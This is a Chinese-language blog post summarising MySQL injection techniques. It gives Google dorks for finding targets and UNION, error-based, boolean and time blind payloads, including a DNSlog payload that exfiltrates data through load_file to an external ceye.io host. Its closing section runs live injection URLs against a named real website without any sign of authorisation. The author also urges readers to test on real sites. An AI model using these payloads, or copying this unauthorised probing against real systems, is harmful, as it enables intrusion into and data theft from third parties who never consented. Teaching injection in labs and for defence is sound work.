MySQL注入总结

作者: Ackerzy | 来源:发表于2018-07-16 00:17 被阅读230次

01 MySQL数据库结构及常用函数

一、MySQL数据库结构

MySQL数据库采用库=>表=>列=>数据的存储结构,这样的存储结构影响着我们后续的注入过程。

1. MySQL内置库

在MySQL(版本>=5.7)中除了用户自建的如admin等数据库,还有一些MySQL自带的数据库,这些数据库中存储着MySQL的关键信息:

库名 功能
mysql 保存有账户信息、权限信息、存储过程等
sys 包含了一系列的存储过程、自定义函数等
performance_schema 收集数据库服务器性能参数
information_schema 保存着MySQL服务器所维护的所有其他数据库信息。如数据库名,数据库表等

这些MySQL内置的数据库对注入帮助巨大。

二、MySQL注入常用函数

最好的学习地址MySQL官网

1.常用函数

函数名称 函数功能
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_complie_os 操作系统
count() 返回执行结果的数量
concat() 没有分割地连接字符串
concat_ws() 含有分隔符地连接字符串
group_concat() 连接一个组的所有字符串,并以逗号分隔每一条数据
load_file() 读取本地文件
into outfile 写文件
ascii() 字符串的ASCII代码值
ord() 函数返回字符串第一个字符的 ASCII 值
mid() 返回字符串的一部分
substr() 返回字符串的一部分
length() 返回字符串的长度
left() 返回字符串最左面的几个字符
floor() 返回小于等于x的最大整数
rand() 返回0至1之间的一个随机数
extractvalue() 第一个参数:XML文档对象名称;第二个参数:Xpath格式的字符串。 作用:从目标XML中返回包含所查询值的字符串
updatexml() 第一个参数:XML文档对象名称;第二个参数:Xpath格式字符串;第三个参数:string格式。作用:改变符合条件的节点的值
sleep() 让此语句运行N秒钟
if() select if(1>2,2,3) 返回 3
char() 返回整数所对应的ASCII码字符组成的字符串
exp() 返回e的n次方

2.MySQL运算符

基本的加减乘数那些就不列了。

符号 作用
IS NULL 为空
IS NOT NULL 不为空
BETWEEN AND 在···之间
IN 包含
NOT IN 不包含
LIKE 模式匹配
NOT LIKE 模式匹配
REGEXP 正则表达式

02 MySQL注入流程

一、寻找注入点

这是最重要的一点,没有注入点还想注入(⊙_⊙)? Are you kidding me?

1. 目标搜集

无特定目标:
inurl:.php?id=在茫茫的网海中寻找吧
有特定目标:
inurl:.php?id= site:target.com
工具爬取:
spider,对搜索引擎和目标网站链接进行爬取

2. 注入识别

手工简单识别:
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2
工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --level 增加测试级别
BurpSuite + sqlmap

3. 代码审计

白盒测试环境,耐心地找就可以了。

二、注入流程

找到注入点后就可以开始进行后续的步骤了,从宏观的角度讲SQL注入(不管是MySQL还是MSSQL等等)可以分为以下三个步骤:

  • 信息搜集
  • 数据获取
  • 提权
图片2.png

1. 信息搜集

信息搜集主要是获取有关的数据库类型、数据库版本、数据库用户、数据库权限等为后续注入提供参考的信息。

图片3.png

2. 数据获取

这是MySQL注入中的主要目的,获取存储在数据库中的信息。

图片4.png

3. 提权

如果我们足够幸运,可以利用SQL注入漏洞得到服务器的权限。

图片5.png

03 MySQL注入方法

一、回显注入

这里的“回显”指的是攻击语句的执行结果可以在页面上显示。这里主要用到union select语句,以及MySQL的内置库information_schema

对于union select,要求union 连接的几个查询的字段数一样且列的数据类型转换没有问题,所以确定数据库表中的列数很重要。

1. 注入方法

(1)确定列数

闭合语句 + order by n--+
// 当取到n+1时页面报错,可以确定列数为n

(2)观察页面返回,确定可以显示数据的位置

闭合语句 + union select 1,2,3,...,n--+ 
// 选取可以显示的数据位置,进行下一步注入

(3)读库信息

select schema_name from information_schema.schemata

(4)读表信息

select schema_table from information_schema.tables where table_schema=库名

(5)读字段

select schema_column from information_schema.columns where table_name=表名

(6)读数据

select 列名 from 库名.表名

2. 注意点

  • (1)默认情况union操作符选取不同的值。如果允许重复的值,请使用union all
  • (2)如果数据太多,导致无法返回查询结果:
    可以使用limit限定返回的数量及位置,依次查询;
    使用concat等语句连接多个数据成为一条返回结果。

二、报错注入

当页面可以打印错误信息时,我们可以构造payload让想要的信息通过错误提示显示出来,以这种方式实现的注入就是报错注入。

存在报错注入的代码:

if($row)
{
   echo '正常的页面信息';
}
else
{
   print_r(mysql_error());
}

1. 注入方法

(1)floor()报错注入

select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
/*
concat: 连接字符串
floor: 取float的整数值
rand: 取0~1之间随机浮点值
group by: 根据一个或多个列对结果集进行分组并有排序功能
*/

这里利用group by对rand()函数进行操作时产生错误,进行注入

{ 图片.png

如上图所示,version()信息被显示出来,通过更改select version()即可实现想要的注入。

(2)extractvalue()报错注入

select extractvalue(1, concat(0x7e,(select user()),0x7e));
/*
extractvalue(): 接收两个参数,第一个XML文档,第二个xpath语句
*/

这里利用XPATH语法错误产生报错

图片.png

如上图所示,version()信息被显示出来,通过更改select version()即可实现想要的注入。

(3)updatexml()报错注入

select updatexml(1, concat(0x7e, (select user()), 0x7e), 1);
/*
updatexml(): 接收三个参数,第一个XML文档,第二个xpath语句,第三个字符串。
*/

这里利用XPATH语法错误产生报错

图片.png

如上图所示,user()信息被显示出来,通过更改select user()即可实现想要的注入。

2. 注意点

报错注入中,错误回显最多32位,如果数据超过32位可以使用substr
例如:

updatexml(1, concat(0x7e, (select substr(password, 2, 4) from users limit 0, 1), 0x7e), 1)

三、SQL盲注

如果页面代码存在SQL注入漏洞,但在提交错误请求时既没有回显数据,也没有打印错误信息,这时我们就可以利用SQL盲注进行攻击。在实际的渗透测试中,大多数情况都需要利用到SQL盲注。

1. 布尔盲注

布尔盲注中,虽然页面不显现数据以及打印错误信息,但却会但返回正确页面与错误页面。我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确。

方法

left(database(),1)>'s'
select user() regexp '^r'
select user() like 'ro%'
ascii(substr((select database()),1,1))=98
ord(mid((select user()),1,1))=114

2. 时间盲注

时间盲注中,页面不显现数据,不打印错误信息,语句执行后也不提示真假,无法通过页面的内容来判断。我们可以通过构造语句,通过页面的响应时长,来判断信息。

方法

if(left(user(),1)='a',0,sleep(3))

时间盲注与布尔盲注的注入语句基本类似,区别在于时间盲注需要用if判断执行语句的真假。

3. 注意点

因为SQL盲注的特殊性,我们对想要获取的数据必须通过上述方法进行猜解,手工进行测试费时费力。所以如果我们发现了某处存在SQL盲注漏洞,可以使用注入工具快速获得想要的结果。

四、Dnslog注入

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog注入可以减少发送的请求,直接回显数据实现注入。

具体内容可以查看作者之前写过的一篇文章 Dnslog盲注

1. 注入方法

select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')

通过对 selecct databse()这一部分语句的构造,就能实现SQL注入。

2. 注意点

Dnslog注入必须满足以下几个条件:

  • 只能在Windows平台发起load_file请求
  • 注入点可以执行SQL命令

04 MySQL注入类型

在运用上面的注入方法进行实际操作之前,我们还必须判断MySQL的注入类型,这里的分类主要是针对注入点而言的。
(分类因人而异,不必太过纠结)

一、参数类型

这里的参数类型指的是参数提交到数据库后,在程序中以何种方式存在,主要有这三种类型

    1. 数字型
$id = $_GET['id'];
select * from user where id = $id;
    1. 字符型
$name = $_GET['name'];
select * from user where id = '$name';
    1. 搜索型
$key = $_GET['key'];
select * from news where key like '%$key%';

可以看到不同的参数类型需要我们构造不同的语句来确保SQL注入代码的执行。

二、GET、POST与COOKIE

GET类型的注入点直接在地址栏进行操作即可,
COOKIEPOST类型的注入点可以利用hackbar和BurpSuite等工具进行操作。

三、HTTP头

有些页面接受数据http数据包中http头的一些信息,所以测试注入点时,需要将注入语句写入http头部中。
这里需要关注一个PHP全局变量$_SERVER,它用来接受http头部信息。
实例代码:

$info = $_SERVER['HTTP_USER_AGENT'];
$conn = mysql_connect("127.0.0.1", "root", "root");
mysql_select_db("test", $conn);
$sql = "select * from test where info=$info";
····

与普通的注入并无本质性的区别。再如:

$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
···
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

可以将uagent修改为
' and extractvalue(1, concat(0x7e, (select @@version),0x7e)) and '1'='1
这样写注入代码是为了将insert语句闭合,执行攻击语句。虽然此处略有变化,但思路是一样的。

05 MySQL注入实战

这里我们以一个网站为例看看如何进行SQL注入。

捕获.PNG

这是一个加拿大的网站,所以直接把地址贴出来了。之所以选择这个站点,也是因为难得有这么一个比较适合新手进行练习的站点,其实难度与本地搭建的实验环境无异,甚至还简单一点。(大神可以直接转身了)

一、判断注入点

先看看能不能注入,加'进行尝试。
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58%27
页面返回:

捕获.PNG

页面没有显示告警信息,初步判读可能没有防护机制。但是页面也没有内容返回,进一步验证
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58' and '1'='1
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58' and '1'='0
前者执行成功,后者无内容回显,确定存在注入点。

二、进行注入

根据'的执行情况,可以猜测这是一个有回显的注入

1. order by 确定列数

https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58 order by 18 --+
列数为18。

2. 确定回显点

https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=-58' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+

捕获.PNG

3. 可以开始搞了

先可以判断一下注入点的权限,如果权限够高是root,我们甚至可以写入一句话木马,进而获取服务器权限。
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=-58' union select 1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+

捕获.PNG

比较遗憾,这里并不是高权限的注入点ε=(´ο`*)))。

后续的内容小伙伴们可以自行测试,这篇文章只能点到这里了。我个人认为在靶场完练习以后,一定要在实际的网站中进行测试。因为寻找注入点的这个过程会让你认识到黑盒测试的复杂性,更重要的是可以打击你的蜜汁自信,看清渺小的自己,知道这条路并不容易。但也正是因为它富有挑战性,才值得我们try our best

PS

注入绕过、sqlmap等一些的内容还没有写,但是简书的编辑器写到这里已经很卡了,只能把这篇文章提前发布了,后续的内容也会单独成文发布的。
文章中不正确的地方也请大家批评指正。

相关文章

  • MySQL注入总结

    01 MySQL数据库结构及常用函数 一、MySQL数据库结构 MySQL数据库采用库=>表=>列=>数据的存储结...

  • MySql注入总结

    本文总结了MySql注入的一些基础知识以及绕过过滤的一些方法,并且将在后续继续完善该文章,后面会添加一些具体实例的...

  • MySQL注入总结

    目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) ...

  • SQL注入漏洞案例实践学习记录(2018.7-2018.8)

    一、SQL注入简述 SQL注入漏洞测试的方式总结 SQL注入常用的内置函数整理(以MySql为例) 二、测试环境&...

  • 小迪16期-20170401

    第六天:MySQL防注入研究 MySQL头注入(http)Access偏移注入CSRF攻击 MySQL防注入 过滤...

  • mysql手工注入总结

    今天我们来讲一下mysql手工注入的大体内容 给你一段url http://lab1.xseclab.com/sq...

  • sql注入-updatexml报错注入

    参考:MySQL updatexml报错注入MySQL updatexml()、extractvalue() 报错...

  • sql注入指南之常见数据库测试总结

    0x00 前言 原地址这篇文章主要是总结日常测试sql注入的方法和一些总结,主要是MySQL,MSSQL,ORAC...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 详解MySQL注入利用的变量

    MySQL注入数据库时,我们可以利用内置的变量来得到更多的mysql信息,下面就让我们一起来了解MySQL注入利用...

网友评论

    本文标题:MySQL注入总结

    本文链接:https://www.haomeiwen.com/subject/jjkmpftx.html